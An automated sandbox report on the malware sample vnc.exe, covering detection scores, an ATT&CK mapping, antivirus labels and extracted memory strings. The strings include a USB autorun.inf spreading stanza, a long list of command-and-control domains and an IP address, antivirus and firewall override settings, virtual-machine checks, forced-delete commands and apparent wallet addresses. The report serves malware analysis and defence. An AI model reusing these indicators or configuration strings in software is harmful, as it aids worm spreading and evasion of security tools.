Analysis Report vnc.exe

Overview

General Information

Joe Sandbox Version:	24.0.0 Fire Opal
Analysis ID:	697555
Start date:	30.10.2018
Start time:	14:42:45
Joe Sandbox Product:	Cloud
Overall analysis duration:	0h 8m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	vnc.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 (Office 2010 SP2, Java 1.8.0_40, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 55, Firefox 43)
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies	HCA enabled EGA enabled HDC enabled
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.spre.troj.adwa.evad.winEXE@11/19@116/100
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 72% (good quality ratio 67.6%) Quality average: 79.2% Quality standard deviation: 30.2%
HCA Information:	Successful, ratio: 95% Number of executed functions: 61 Number of non-executed functions: 171
Cookbook Comments:	Adjust boot time Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	100	0 - 100	Report FP / FN

Confidence

Strategy	Score	Range	Further Analysis Required?	Confidence
Threshold	5	0 - 5	false

Classification

Analysis Advice

Sample drops PE files which have not been started, submit dropped PE samples for a secondary analysis to Joe Sandbox

Sample is looking for USB drives. Launch the sample with the USB Fake Disk cookbook

Sample may offer command line options, please run it with the 'Execute binary with arguments' cookbook (it's possible that the command line switches require additional characters like: "-", "/", "--")

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control
Replication Through Removable Media1	Graphical User Interface1	Startup Items2	Startup Items2	Disabling Security Tools1	Brute Force1	Process Discovery2	Remote Desktop Protocol1	Clipboard Data2	Data Compressed	Uncommonly Used Port1
Replication Through Removable Media	Service Execution	Registry Run Keys / Start Folder21	Process Injection11	Software Packing1	Network Sniffing	Peripheral Device Discovery1	Replication Through Removable Media1	Data from Removable Media	Exfiltration Over Other Network Medium	Standard Cryptographic Protocol1
Drive-by Compromise	Windows Management Instrumentation	Accessibility Features	Path Interception	Process Injection11	Input Capture	Security Software Discovery241	Windows Remote Management	Data from Network Shared Drive	Automated Exfiltration	Remote Access Tools1
Exploit Public-Facing Application	Scheduled Task	System Firmware	DLL Search Order Hijacking	Obfuscated Files or Information2	Credentials in Files	Remote System Discovery1	Logon Scripts	Input Capture	Data Encrypted	Standard Non-Application Layer Protocol3
Spearphishing Link	Command-Line Interface	Shortcut Modification	File System Permissions Weakness	Masquerading	Account Manipulation	File and Directory Discovery11	Shared Webroot	Data Staged	Scheduled Transfer	Standard Application Layer Protocol23
Spearphishing Attachment	Graphical User Interface	Modify Existing Service	New Service	DLL Search Order Hijacking	Brute Force	System Information Discovery23	Third-party Software	Screen Capture	Data Transfer Size Limits	Commonly Used Port

Signature Overview

Click to jump to signature section

AV Detection:

Multi AV Scanner detection for domain / URL

Show sources

Source: ugoheoheufefu.info	virustotal: Detection: 7%	Perma Link
Source: iriototooeuwo.biz	virustotal: Detection: 10%	Perma Link
Source: riifndisojdoj.in	virustotal: Detection: 8%	Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: vnc.exe

virustotal: Detection: 70%

Perma Link

Antivirus detection for unpacked file

Show sources

Source: 9.1.159753404015476.exe.400000.0.unpack	Avira: Label: HEUR/AGEN.1031358
Source: 2.2.winsvcs.exe.400000.2.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 2.1.winsvcs.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 4.1.winsvcs.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 4.2.winsvcs.exe.400000.1.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 8.1.153661691311498.exe.400000.0.unpack	Avira: Label: HEUR/AGEN.1031358
Source: 1.2.vnc.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 3.1.winsvcs.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 11.2.winsvcs.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 3.2.winsvcs.exe.400000.1.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 2.1.winsvcs.exe.390000.1.unpack	Avira: Label: TR/ATRAPS.Gen
Source: 1.1.vnc.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 9.2.159753404015476.exe.400000.0.unpack	Avira: Label: HEUR/AGEN.1033460

Spreading:

May infect USB drives

Show sources

Source: vnc.exe	Binary or memory string: %ls\autorun.inf
Source: vnc.exe	Binary or memory string: [autorun] open=_\DeviceManager.exe UseAutoPlay=1
Source: vnc.exe	Binary or memory string: autorun.inf
Source: vnc.exe	Binary or memory string: [autorun]open=_\DeviceManager.exeUseAutoPlay=1
Source: vnc.exe, 00000001.00000003.308949766.001C0000.00000004.sdmp	Binary or memory string: [autorun]
Source: vnc.exe, 00000001.00000003.308949766.001C0000.00000004.sdmp	Binary or memory string: %d.%d.%d.%d127.172.192.349050503030winsvcs.exeMicrosoft Windows Servicest.exem.exep.exes.exeo.exe%windir%%userprofile%%temp%AntiVirusOverrideUpdatesOverrideFirewallOverrideAntiVirusDisableNotifyUpdatesDisableNotifyAutoUpdateDisableNotifyFirewallDisableNotifyhttp://92.63.197.48/http://iugouehoeohfh.ru/http://ugoheoheufefu.ru/http://iefigjgdidisi.ru/http://ouegouehouseh.ru/http://riifndisojdoj.ru/http://inigbiseijfji.ru/http://udunfjgussiid.ru/http://eiisisiysjsif.ru/http://iriototooeuwo.ru/http://nkihigheogojg.ru/http://iugouehoeohfh.su/http://ugoheoheufefu.su/http://iefigjgdidisi.su/http://ouegouehouseh.su/http://riifndisojdoj.su/http://inigbiseijfji.su/http://udunfjgussiid.su/http://eiisisiysjsif.su/http://iriototooeuwo.su/http://nkihigheogojg.su/http://iugouehoeohfh.in/http://ugoheoheufefu.in/http://iefigjgdidisi.in/http://ouegouehouseh.in/http://riifndisojdoj.in/http://inigbiseijfji.in/http://udunfjgussiid.in/http://eiisisiysjsif.in/http://iriototooeuwo.in/http://nkihigheogojg.in/http://iugouehoeohfh.net/ht
Source: vnc.exe, 00000001.00000003.308949766.001C0000.00000004.sdmp	Binary or memory string: %d.%d.%d.%d127.172.192.349050503030winsvcs.exeMicrosoft Windows Servicest.exem.exep.exes.exeo.exe%windir%%userprofile%%temp%AntiVirusOverrideUpdatesOverrideFirewallOverrideAntiVirusDisableNotifyUpdatesDisableNotifyAutoUpdateDisableNotifyFirewallDisableNotifyhttp://92.63.197.48/http://iugouehoeohfh.ru/http://ugoheoheufefu.ru/http://iefigjgdidisi.ru/http://ouegouehouseh.ru/http://riifndisojdoj.ru/http://inigbiseijfji.ru/http://udunfjgussiid.ru/http://eiisisiysjsif.ru/http://iriototooeuwo.ru/http://nkihigheogojg.ru/http://iugouehoeohfh.su/http://ugoheoheufefu.su/http://iefigjgdidisi.su/http://ouegouehouseh.su/http://riifndisojdoj.su/http://inigbiseijfji.su/http://udunfjgussiid.su/http://eiisisiysjsif.su/http://iriototooeuwo.su/http://nkihigheogojg.su/http://iugouehoeohfh.in/http://ugoheoheufefu.in/http://iefigjgdidisi.in/http://ouegouehouseh.in/http://riifndisojdoj.in/http://inigbiseijfji.in/http://udunfjgussiid.in/http://eiisisiysjsif.in/http://iriototooeuwo.in/http://nkihigheogojg.in/http://iugouehoeohfh.net/ht
Source: vnc.exe, 00000001.00000003.308949766.001C0000.00000004.sdmp	Binary or memory string: UseAutoPlay=1.lnk.vbs.bat.js.scr.com.jse.cmd.pif.jar.dll%ls\%s.lnkautorun.inf_%ls\%s%s\_\%ls.../c rmdir /q /s "%ls"cmd.exe/c move /y "%ls", "%ls"cmd.exerb%hs%temp%%ls\%d%d%d.exeMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0%ls:Zone.Identifier%ls\%d%d%d.exe%ls:Zone.Identifier1DYwJZfyGy5DXaqXpgzuj8shRefxQ7jCEwBCedWttszcCs9uThQJBdJeEvi83vQgxrAa228Urw5BHKCiikBcGe37AYVNjJKA6xb4L9RepZ76KasQSSTg1DeertgFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qdga22XxZ274qGCfFyEi2HRS5G1215vEX331Mhc1D78VANgC5hQ3n4BSnon6aq6qnQSViyAmLvEZyjJj7M9gP6bnhw3q5N1gAMyQSVXNh5330xff0d45f3e2ec83de3b2e069300974732ba1c5d30Lh8F5u2USRj779tQDy6LMYUM6dgPwH3qoP4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrhbkDviv3H6fUaKiaPWGChwvPpdCHyLmURsPgtYCAsqwDAzAsvZAH2GAaJtWdQqsSJCS14tVUTKivzD7B67fPRaqJaa3iWaRkHvDkDcnfkhFJjSvzHLjuBkrL2zzcnUrDsqPfH6bmbGNG93QYQkDkJ6QVt1MH943MSkvEcaXiDQJ4GQk9GPaSTkhDh4rG18431620U17032720E18406200python.exepythonw.exeprl_cc.exeprl_tools.exevmsrvc.exevmusrvc.exexense
Source: winsvcs.exe	Binary or memory string: %ls\autorun.inf
Source: winsvcs.exe	Binary or memory string: [autorun] open=_\DeviceManager.exe UseAutoPlay=1
Source: winsvcs.exe	Binary or memory string: autorun.inf
Source: winsvcs.exe	Binary or memory string: [autorun]open=_\DeviceManager.exeUseAutoPlay=1
Source: winsvcs.exe, 00000002.00000001.323314394.00400000.00000040.sdmp	Binary or memory string: [autorun]
Source: winsvcs.exe, 00000002.00000001.323314394.00400000.00000040.sdmp	Binary or memory string: %d.%d.%d.%d127.172.192.349050503030winsvcs.exeMicrosoft Windows Servicest.exem.exep.exes.exeo.exe%windir%%userprofile%%temp%AntiVirusOverrideUpdatesOverrideFirewallOverrideAntiVirusDisableNotifyUpdatesDisableNotifyAutoUpdateDisableNotifyFirewallDisableNotifyhttp://92.63.197.48/http://iugouehoeohfh.ru/http://ugoheoheufefu.ru/http://iefigjgdidisi.ru/http://ouegouehouseh.ru/http://riifndisojdoj.ru/http://inigbiseijfji.ru/http://udunfjgussiid.ru/http://eiisisiysjsif.ru/http://iriototooeuwo.ru/http://nkihigheogojg.ru/http://iugouehoeohfh.su/http://ugoheoheufefu.su/http://iefigjgdidisi.su/http://ouegouehouseh.su/http://riifndisojdoj.su/http://inigbiseijfji.su/http://udunfjgussiid.su/http://eiisisiysjsif.su/http://iriototooeuwo.su/http://nkihigheogojg.su/http://iugouehoeohfh.in/http://ugoheoheufefu.in/http://iefigjgdidisi.in/http://ouegouehouseh.in/http://riifndisojdoj.in/http://inigbiseijfji.in/http://udunfjgussiid.in/http://eiisisiysjsif.in/http://iriototooeuwo.in/http://nkihigheogojg.in/http://iugouehoeohfh.net/ht
Source: winsvcs.exe, 00000002.00000001.323314394.00400000.00000040.sdmp	Binary or memory string: %d.%d.%d.%d127.172.192.349050503030winsvcs.exeMicrosoft Windows Servicest.exem.exep.exes.exeo.exe%windir%%userprofile%%temp%AntiVirusOverrideUpdatesOverrideFirewallOverrideAntiVirusDisableNotifyUpdatesDisableNotifyAutoUpdateDisableNotifyFirewallDisableNotifyhttp://92.63.197.48/http://iugouehoeohfh.ru/http://ugoheoheufefu.ru/http://iefigjgdidisi.ru/http://ouegouehouseh.ru/http://riifndisojdoj.ru/http://inigbiseijfji.ru/http://udunfjgussiid.ru/http://eiisisiysjsif.ru/http://iriototooeuwo.ru/http://nkihigheogojg.ru/http://iugouehoeohfh.su/http://ugoheoheufefu.su/http://iefigjgdidisi.su/http://ouegouehouseh.su/http://riifndisojdoj.su/http://inigbiseijfji.su/http://udunfjgussiid.su/http://eiisisiysjsif.su/http://iriototooeuwo.su/http://nkihigheogojg.su/http://iugouehoeohfh.in/http://ugoheoheufefu.in/http://iefigjgdidisi.in/http://ouegouehouseh.in/http://riifndisojdoj.in/http://inigbiseijfji.in/http://udunfjgussiid.in/http://eiisisiysjsif.in/http://iriototooeuwo.in/http://nkihigheogojg.in/http://iugouehoeohfh.net/ht
Source: winsvcs.exe, 00000002.00000001.323314394.00400000.00000040.sdmp	Binary or memory string: UseAutoPlay=1.lnk.vbs.bat.js.scr.com.jse.cmd.pif.jar.dll%ls\%s.lnkautorun.inf_%ls\%s%s\_\%ls.../c rmdir /q /s "%ls"cmd.exe/c move /y "%ls", "%ls"cmd.exerb%hs%temp%%ls\%d%d%d.exeMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0%ls:Zone.Identifier%ls\%d%d%d.exe%ls:Zone.Identifier1DYwJZfyGy5DXaqXpgzuj8shRefxQ7jCEwBCedWttszcCs9uThQJBdJeEvi83vQgxrAa228Urw5BHKCiikBcGe37AYVNjJKA6xb4L9RepZ76KasQSSTg1DeertgFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qdga22XxZ274qGCfFyEi2HRS5G1215vEX331Mhc1D78VANgC5hQ3n4BSnon6aq6qnQSViyAmLvEZyjJj7M9gP6bnhw3q5N1gAMyQSVXNh5330xff0d45f3e2ec83de3b2e069300974732ba1c5d30Lh8F5u2USRj779tQDy6LMYUM6dgPwH3qoP4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrhbkDviv3H6fUaKiaPWGChwvPpdCHyLmURsPgtYCAsqwDAzAsvZAH2GAaJtWdQqsSJCS14tVUTKivzD7B67fPRaqJaa3iWaRkHvDkDcnfkhFJjSvzHLjuBkrL2zzcnUrDsqPfH6bmbGNG93QYQkDkJ6QVt1MH943MSkvEcaXiDQJ4GQk9GPaSTkhDh4rG18431620U17032720E18406200python.exepythonw.exeprl_cc.exeprl_tools.exevmsrvc.exevmusrvc.exexense
Source: winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp	Binary or memory string: [autorun]
Source: winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp	Binary or memory string: %d.%d.%d.%d127.172.192.349050503030winsvcs.exeMicrosoft Windows Servicest.exem.exep.exes.exeo.exe%windir%%userprofile%%temp%AntiVirusOverrideUpdatesOverrideFirewallOverrideAntiVirusDisableNotifyUpdatesDisableNotifyAutoUpdateDisableNotifyFirewallDisableNotifyhttp://92.63.197.48/http://iugouehoeohfh.ru/http://ugoheoheufefu.ru/http://iefigjgdidisi.ru/http://ouegouehouseh.ru/http://riifndisojdoj.ru/http://inigbiseijfji.ru/http://udunfjgussiid.ru/http://eiisisiysjsif.ru/http://iriototooeuwo.ru/http://nkihigheogojg.ru/http://iugouehoeohfh.su/http://ugoheoheufefu.su/http://iefigjgdidisi.su/http://ouegouehouseh.su/http://riifndisojdoj.su/http://inigbiseijfji.su/http://udunfjgussiid.su/http://eiisisiysjsif.su/http://iriototooeuwo.su/http://nkihigheogojg.su/http://iugouehoeohfh.in/http://ugoheoheufefu.in/http://iefigjgdidisi.in/http://ouegouehouseh.in/http://riifndisojdoj.in/http://inigbiseijfji.in/http://udunfjgussiid.in/http://eiisisiysjsif.in/http://iriototooeuwo.in/http://nkihigheogojg.in/http://iugouehoeohfh.net/ht
Source: winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp	Binary or memory string: %d.%d.%d.%d127.172.192.349050503030winsvcs.exeMicrosoft Windows Servicest.exem.exep.exes.exeo.exe%windir%%userprofile%%temp%AntiVirusOverrideUpdatesOverrideFirewallOverrideAntiVirusDisableNotifyUpdatesDisableNotifyAutoUpdateDisableNotifyFirewallDisableNotifyhttp://92.63.197.48/http://iugouehoeohfh.ru/http://ugoheoheufefu.ru/http://iefigjgdidisi.ru/http://ouegouehouseh.ru/http://riifndisojdoj.ru/http://inigbiseijfji.ru/http://udunfjgussiid.ru/http://eiisisiysjsif.ru/http://iriototooeuwo.ru/http://nkihigheogojg.ru/http://iugouehoeohfh.su/http://ugoheoheufefu.su/http://iefigjgdidisi.su/http://ouegouehouseh.su/http://riifndisojdoj.su/http://inigbiseijfji.su/http://udunfjgussiid.su/http://eiisisiysjsif.su/http://iriototooeuwo.su/http://nkihigheogojg.su/http://iugouehoeohfh.in/http://ugoheoheufefu.in/http://iefigjgdidisi.in/http://ouegouehouseh.in/http://riifndisojdoj.in/http://inigbiseijfji.in/http://udunfjgussiid.in/http://eiisisiysjsif.in/http://iriototooeuwo.in/http://nkihigheogojg.in/http://iugouehoeohfh.net/ht
Source: winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp	Binary or memory string: UseAutoPlay=1.lnk.vbs.bat.js.scr.com.jse.cmd.pif.jar.dll%ls\%s.lnkautorun.inf_%ls\%s%s\_\%ls.../c rmdir /q /s "%ls"cmd.exe/c move /y "%ls", "%ls"cmd.exerb%hs%temp%%ls\%d%d%d.exeMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0%ls:Zone.Identifier%ls\%d%d%d.exe%ls:Zone.Identifier1DYwJZfyGy5DXaqXpgzuj8shRefxQ7jCEwBCedWttszcCs9uThQJBdJeEvi83vQgxrAa228Urw5BHKCiikBcGe37AYVNjJKA6xb4L9RepZ76KasQSSTg1DeertgFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qdga22XxZ274qGCfFyEi2HRS5G1215vEX331Mhc1D78VANgC5hQ3n4BSnon6aq6qnQSViyAmLvEZyjJj7M9gP6bnhw3q5N1gAMyQSVXNh5330xff0d45f3e2ec83de3b2e069300974732ba1c5d30Lh8F5u2USRj779tQDy6LMYUM6dgPwH3qoP4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrhbkDviv3H6fUaKiaPWGChwvPpdCHyLmURsPgtYCAsqwDAzAsvZAH2GAaJtWdQqsSJCS14tVUTKivzD7B67fPRaqJaa3iWaRkHvDkDcnfkhFJjSvzHLjuBkrL2zzcnUrDsqPfH6bmbGNG93QYQkDkJ6QVt1MH943MSkvEcaXiDQJ4GQk9GPaSTkhDh4rG18431620U17032720E18406200python.exepythonw.exeprl_cc.exeprl_tools.exevmsrvc.exevmusrvc.exexense
Source: winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	Binary or memory string: [autorun]
Source: winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	Binary or memory string: %d.%d.%d.%d127.172.192.349050503030winsvcs.exeMicrosoft Windows Servicest.exem.exep.exes.exeo.exe%windir%%userprofile%%temp%AntiVirusOverrideUpdatesOverrideFirewallOverrideAntiVirusDisableNotifyUpdatesDisableNotifyAutoUpdateDisableNotifyFirewallDisableNotifyhttp://92.63.197.48/http://iugouehoeohfh.ru/http://ugoheoheufefu.ru/http://iefigjgdidisi.ru/http://ouegouehouseh.ru/http://riifndisojdoj.ru/http://inigbiseijfji.ru/http://udunfjgussiid.ru/http://eiisisiysjsif.ru/http://iriototooeuwo.ru/http://nkihigheogojg.ru/http://iugouehoeohfh.su/http://ugoheoheufefu.su/http://iefigjgdidisi.su/http://ouegouehouseh.su/http://riifndisojdoj.su/http://inigbiseijfji.su/http://udunfjgussiid.su/http://eiisisiysjsif.su/http://iriototooeuwo.su/http://nkihigheogojg.su/http://iugouehoeohfh.in/http://ugoheoheufefu.in/http://iefigjgdidisi.in/http://ouegouehouseh.in/http://riifndisojdoj.in/http://inigbiseijfji.in/http://udunfjgussiid.in/http://eiisisiysjsif.in/http://iriototooeuwo.in/http://nkihigheogojg.in/http://iugouehoeohfh.net/ht
Source: winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	Binary or memory string: %d.%d.%d.%d127.172.192.349050503030winsvcs.exeMicrosoft Windows Servicest.exem.exep.exes.exeo.exe%windir%%userprofile%%temp%AntiVirusOverrideUpdatesOverrideFirewallOverrideAntiVirusDisableNotifyUpdatesDisableNotifyAutoUpdateDisableNotifyFirewallDisableNotifyhttp://92.63.197.48/http://iugouehoeohfh.ru/http://ugoheoheufefu.ru/http://iefigjgdidisi.ru/http://ouegouehouseh.ru/http://riifndisojdoj.ru/http://inigbiseijfji.ru/http://udunfjgussiid.ru/http://eiisisiysjsif.ru/http://iriototooeuwo.ru/http://nkihigheogojg.ru/http://iugouehoeohfh.su/http://ugoheoheufefu.su/http://iefigjgdidisi.su/http://ouegouehouseh.su/http://riifndisojdoj.su/http://inigbiseijfji.su/http://udunfjgussiid.su/http://eiisisiysjsif.su/http://iriototooeuwo.su/http://nkihigheogojg.su/http://iugouehoeohfh.in/http://ugoheoheufefu.in/http://iefigjgdidisi.in/http://ouegouehouseh.in/http://riifndisojdoj.in/http://inigbiseijfji.in/http://udunfjgussiid.in/http://eiisisiysjsif.in/http://iriototooeuwo.in/http://nkihigheogojg.in/http://iugouehoeohfh.net/ht
Source: winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	Binary or memory string: UseAutoPlay=1.lnk.vbs.bat.js.scr.com.jse.cmd.pif.jar.dll%ls\%s.lnkautorun.inf_%ls\%s%s\_\%ls.../c rmdir /q /s "%ls"cmd.exe/c move /y "%ls", "%ls"cmd.exerb%hs%temp%%ls\%d%d%d.exeMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0%ls:Zone.Identifier%ls\%d%d%d.exe%ls:Zone.Identifier1DYwJZfyGy5DXaqXpgzuj8shRefxQ7jCEwBCedWttszcCs9uThQJBdJeEvi83vQgxrAa228Urw5BHKCiikBcGe37AYVNjJKA6xb4L9RepZ76KasQSSTg1DeertgFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qdga22XxZ274qGCfFyEi2HRS5G1215vEX331Mhc1D78VANgC5hQ3n4BSnon6aq6qnQSViyAmLvEZyjJj7M9gP6bnhw3q5N1gAMyQSVXNh5330xff0d45f3e2ec83de3b2e069300974732ba1c5d30Lh8F5u2USRj779tQDy6LMYUM6dgPwH3qoP4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrhbkDviv3H6fUaKiaPWGChwvPpdCHyLmURsPgtYCAsqwDAzAsvZAH2GAaJtWdQqsSJCS14tVUTKivzD7B67fPRaqJaa3iWaRkHvDkDcnfkhFJjSvzHLjuBkrL2zzcnUrDsqPfH6bmbGNG93QYQkDkJ6QVt1MH943MSkvEcaXiDQJ4GQk9GPaSTkhDh4rG18431620U17032720E18406200python.exepythonw.exeprl_cc.exeprl_tools.exevmsrvc.exevmusrvc.exexense
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp	Binary or memory string: [autorun]
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp	Binary or memory string: UseAutoPlay=1.lnk.vbs.bat.js.scr.com.jse.cmd.pif.jar.dll%ls\%s.lnkautorun.inf_%ls\%s%s\_\%ls.../c rmdir /q /s "%ls"cmd.exe/c move /y "%ls", "%ls"cmd.exerb%hs%temp%%ls\%d%d%d.exeMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0%ls:Zone.Identifiert.exe%ls\%d%d%d.exe%ls:Zone.Identifiert.exe1LdFFaJiM7R5f9WhUEskVCaVokVtHPHxL528VcfDWthf987aBo6ddyGuYnMkwtWo6bBe4j7Q87pDYxEEGZzHseUMvFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qVBupsXfPoiH5ShPQdXC3Kc39XzCaB84eL1w53oADPngr3jnAGgKY45vQpt4NmYt3jQCP2smrWEUPLR5oD8jBj5rTArwfdorkbdk23uegK5Z0xa9b717e03cf8f2d792bff807588e50dcea9d0b1cLPuhyFoFggYkXwkkmDbnA19hu1wzuJggHJ4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrqWkGbn7jMQVGL3aAPAxrpmNf8c9M4VPDkoBuCde1DGufPKiy8QrBkCLqPgHiKt6Hdddnjq27ECehHqCcCHTDt1aGAy8CBERajaMAKdzddp3WttD5Czji55SG18431620U17032720E18406200python.exepythonw.exeprl_cc.exeprl_tools.exevmsrvc.exevmusrvc.exexenservice.exevboxservice.exevboxtray.exevboxcontrol.exevmwareservice.exevmwaretray.exetpautoconn
Source: winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: [autorun]
Source: winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: UseAutoPlay=1.lnk.vbs.bat.js.scr.com.jse.cmd.pif.jar.dll%ls\%s.lnkautorun.inf_%ls\%s%s\_\%ls.../c rmdir /q /s "%ls"cmd.exe/c move /y "%ls", "%ls"cmd.exerb%hs%temp%%ls\%d%d%d.exeMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0%ls:Zone.Identifiert.exe%ls\%d%d%d.exe%ls:Zone.Identifiert.exe1LdFFaJiM7R5f9WhUEskVCaVokVtHPHxL528VcfDWthf987aBo6ddyGuYnMkwtWo6bBe4j7Q87pDYxEEGZzHseUMvFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qVBupsXfPoiH5ShPQdXC3Kc39XzCaB84eL1w53oADPngr3jnAGgKY45vQpt4NmYt3jQCP2smrWEUPLR5oD8jBj5rTArwfdorkbdk23uegK5Z0xa9b717e03cf8f2d792bff807588e50dcea9d0b1cLPuhyFoFggYkXwkkmDbnA19hu1wzuJggHJ4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrqWkGbn7jMQVGL3aAPAxrpmNf8c9M4VPDkoBuCde1DGufPKiy8QrBkCLqPgHiKt6Hdddnjq27ECehHqCcCHTDt1aGAy8CBERajaMAKdzddp3WttD5Czji55SG18431620U17032720E18406200python.exepythonw.exeprl_cc.exeprl_tools.exevmsrvc.exevmusrvc.exexenservice.exevboxservice.exevboxtray.exevboxcontrol.exevmwareservice.exevmwaretray.exetpautoconn

Enumerates the file system

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe	File opened: C:\Documents and Settings\	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	File opened: C:\Documents and Settings\All Users	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	File opened: C:\Documents and Settings\All Users\	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	File opened: C:\Documents and Settings\All Users\Adobe\Acrobat	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	File opened: C:\Documents and Settings\All Users\Adobe\	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	File opened: C:\Documents and Settings\All Users\Adobe	Jump to behavior

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_0040565A memset,memset,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,GetFullPathNameW,CharLowerW,Sleep,Sleep,Sleep,Sleep,PathFindFileNameW,SetFileAttributesW,DeleteFileW,Sleep,CopyFileW,Sleep,Sleep,FindNextFileW,FindClose,	1_2_0040565A
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_00403775 GetTickCount,srand,memset,memset,memset,memset,memset,memset,_snwprintf,_snwprintf,_snwprintf,_snwprintf,_snwprintf,_snwprintf,Sleep,_wfopen,fseek,ftell,fclose,SetFileAttributesW,DeleteFileW,Sleep,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,Sleep,SetFileAttributesW,Sleep,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,Sleep,PathFileExistsW,CopyFileW,SetFileAttributesW,Sleep,PathFileExistsW,_wfopen,fprintf,fclose,SetFileAttributesW,Sleep,FindFirstFileW,memset,_snwprintf,SetFileAttributesW,DeleteFileW,Sleep,PathFileExistsW,memset,memset,_snwprintf,_snwprintf,SetFileAttributesW,PathFileExistsW,PathFileExistsW,GetFileAttributesW,memset,_snwprintf,ShellExecuteW,DeleteFileW,memset,_snwprintf,ShellExecuteW,FindNextFileW,FindClose,	1_2_00403775
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_0040565A memset,memset,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,GetFullPathNameW,CharLowerW,Sleep,Sleep,Sleep,Sleep,PathFindFileNameW,SetFileAttributesW,DeleteFileW,Sleep,CopyFileW,Sleep,Sleep,FindNextFileW,FindClose,	2_2_0040565A
